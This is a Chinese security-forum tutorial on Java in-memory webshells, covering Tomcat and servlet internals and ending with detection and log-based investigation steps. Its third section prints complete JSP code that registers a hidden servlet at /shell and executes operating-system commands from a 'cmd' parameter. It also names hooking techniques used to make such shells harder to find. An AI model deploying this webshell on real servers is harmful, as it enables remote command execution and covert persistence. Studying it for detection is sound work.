安全矩阵

 找回密码
 立即注册
搜索
查看: 1727|回复: 0

一文看懂内存马

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-6-6 20:46:04 | 显示全部楼层 |阅读模式
原文链接:一文看懂内存马

一、内存马简介
1.1 webshell变迁
webshell的变迁过程大致如下所述:
web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。
Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。
1.2 如何实现webshell内存马
目标:访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果
实现:以java为例,客户端发起的web请求会依次经过ListenerFilterServlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。
1.3 内存马类型
根据内存马注入的方式,大致可以将内存马划分为如下两类
    1.servlet-api
    通过命令执行等方式动态注册一个新的listenerfilter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如springcontroller内存马,tomcatvalve内存马
    2.字节码增强型
    通过javainstrumentation动态修改已有代码,进而实现命令执行等功能。
二、背景知识
2.1 Java web三大件
2.1.1 Servlet
1.什么是servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
2.请求的处理过程
客户端发起一个http请求,比如get类型。
Servlet容器接收到请求,根据请求信息,封装成HttpServletRequestHttpServletResponse对象。
Servlet容器调用HttpServletinit()方法,init方法只在第一次请求的时候被调用。
Servlet容器调用service()方法。
service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。
doXXX方法中是我们自己写的业务逻辑。
业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
容器关闭时候,会调用destory方法
3.servlet生命周期
1)服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)
2servlet对象去处理所有客户端请求,在service(ServletRequest reqServletResponse res)方法中执行
3)服务器关闭时,销毁这个servlet对象,执行destroy()方法。
4)由JVM进行垃圾回收。
2.1.2 Filter
简介
filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。
基本工作原理
1Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet service 方法,而是调用 Filter doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
4、但在 Filter.doFilter 方法中不能直接调用 Servlet service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
filter的生命周期
servlet一样,Filter的创建和销毁也由web容器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
filter
当多个filter同时存在的时候,组成了filter链。web服务器根据Filterweb.xml文件中的注册顺序,决定先调用哪个Filter。当第一个FilterdoFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter
2.1.3 Listener
简介
JavaWeb开发中的监听器(Listener)就是ApplicationSessionRequest三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
ServletContextListener:对Servlet上下文的创建和销毁进行监听;
ServletContextAttributeListener:监听Servlet上下文属性的添加、删除和替换;
HttpSessionListener:对Session的创建和销毁进行监听。Session的销毁有两种情况,一个中Session超时,还有一种是通过调用Session对象的invalidate()方法使session失效。
HttpSessionAttributeListener:对Session对象中属性的添加、删除和替换进行监听;
ServletRequestListener:对请求对象的初始化和销毁进行监听;
ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。
用途
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
2.2Tomcat
2.2.1简介
简单理解,tomcathttp服务器+servlet容器。
Tomcat 作为Servlet容器,http请求文本接收并解析,然后封装成HttpServletRequest类型的request对象,传递给servlet;同时会将响应的信息封装为HttpServletResponse类型的response对象,然后将response交给tomcattomcat就会将其变成响应文本的格式发送给浏览器。
2.2.2Tomcat架构设计
前面提到过,Tomcat 的本质其实就是一个 WEB 服务器 + 一个 Servlet 容器,那么它必然需要处理网络的连接与 Servlet 的管理,因此,Tomcat 设计了两个核心组件来实现这两个功能,分别是连接器和容器,连接器用来处理外部网络连接,容器用来处理内部 Servlet,我用一张图来表示它们的关系:
一个 Tomcat 代表一个 Server 服务器,一个 Server 服务器可以包含多个 Service 服务,Tomcat 默认的 Service 服务是 Catalina,而一个 Service 服务可以包含多个连接器,因为 Tomcat 支持多种网络协议,包括 HTTP/1.1HTTP/2AJP 等等,一个 Service 服务还会包括一个容器,容器外部会有一层 Engine 引擎所包裹,负责与处理连接器的请求与响应,连接器与容器之间通过 ServletRequest ServletResponse 对象进行交流。
一个engine可以对一个多个host,也就是虚拟主机,一个host可以对应多个context,也就是web应用,一个context对应多个wrapper,也就是servlet。这个映射关系,通过mapper组件来关联,mapper组件保存了Web应用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,Wrapper容器中的servlet映射的路径,这些配置信息是多层次的Map。根据请求定位到指定servlet的流程图如下:
2.3 其他java背景知识
2.3.1 java反射
反射提供的功能,能在运行时(动态)的
1.获取一个类的所有成员变量和方法
2.创建一个类的对象
    a.获取对象成员变量&赋值
    b.调用对象的方法
    c.判断对象所属的类
在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servletwrapper)添加到当前的contextchildren中。
在使用Java反射机制时,主要步骤包括:
①获取 目标类型的Class对象
②通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
③通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作
2.3.2 java instrumentation
InstrumentationJava提供的一个来自JVM的接口,该接口提供了一系列查看和操作Java类定义的方法,例如修改类的字节码、向classLoaderclasspath下加入jar文件等。使得开发者可以通过Java语言来操作和监控JVM内部的一些状态,进而实现Java程序的监控分析,甚至实现一些特殊功能(如AOP、热部署)。
Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互。
在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码。
三、内存马实现
这里我们以tomcatservletAPI型内存马为例讲一下内存马的实现。下面的代码先是创建了一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到StandardContextchildren当中,最后添加ServletMapping将访问的URLwrapper进行绑定。
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%
    // 创建恶意Servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    };
    %>
<%
    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
    // Wrapper对其进行封装
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("jweny");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
    // 添加封装后的恶意WrapperStandardContextchildren当中
    standardCtx.addChild(newWrapper);
    // 添加ServletMapping将访问的URLServlet进行绑定
    standardCtx.addServletMapping("/shell","jweny");
%>
执行上述代码后,访问当前应用的/shell路径,加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽,做到内存马与URL无关,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcattomcat就能相应我们的指令,那就得通过注入新的或修改已有的filter或者listener的方式来实现了。比如早期rebeyond师傅开发的memshell,就是通过修改org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的,后期冰蝎最新版本的内存马为了实现更好的兼容性,选择hook javax.servlet.http.HttpServlet#service 函数,在weblogic选择hook weblogic.servlet.internal.ServletStubImpl#execute 函数。
四、内存马检测与排查
4.1源码检测
java中,只有被JVM加载后的类才能被调用,或者在需要时通过反射通知JVM加载。所以特征都在内存中,表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类, Java本身提供了Instrumentation类来实现运行时注入代码并执行,因此产生一个检测思路:注入jar-> dump已加载class字节码->反编译成java代码-> 源码webshell检测。
这样检测比较消耗性能,我们可以缩小需要进行源码检测的类的范围,通过如下的筛选条件组合使用筛选类进行检测:
①新增的或修改的;
②没有对应class文件的
xml配置中没注册的
④冰蝎等常见工具使用的
filterchain中排第一的filter
还有一些比较弱的特征可以用来辅助检测,比如类名称中包含shell或者为随机名,使用不常见的classloader加载的类等等。
另外,有一些工具可以辅助检测内存马,如java-memshell-scanner是通过jsp扫描应用中所有的filterservlet,然后通过名称、对应的class是否存在来判断是否是内存马
4.2 内存马排查
如果我们通过检测工具或者其他手段发现了一些内存webshell的痕迹,需要有一个排查的思路来进行跟踪分析,也是根据各类型的原理,列出一个排查思路。
    如果是jsp注入,日志中排查可疑jsp的访问请求。
    如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法
    根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
    如果是servlet或者springcontroller类型,根据上报的webshellurl查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。
    如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 06:27 , Processed in 0.016815 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表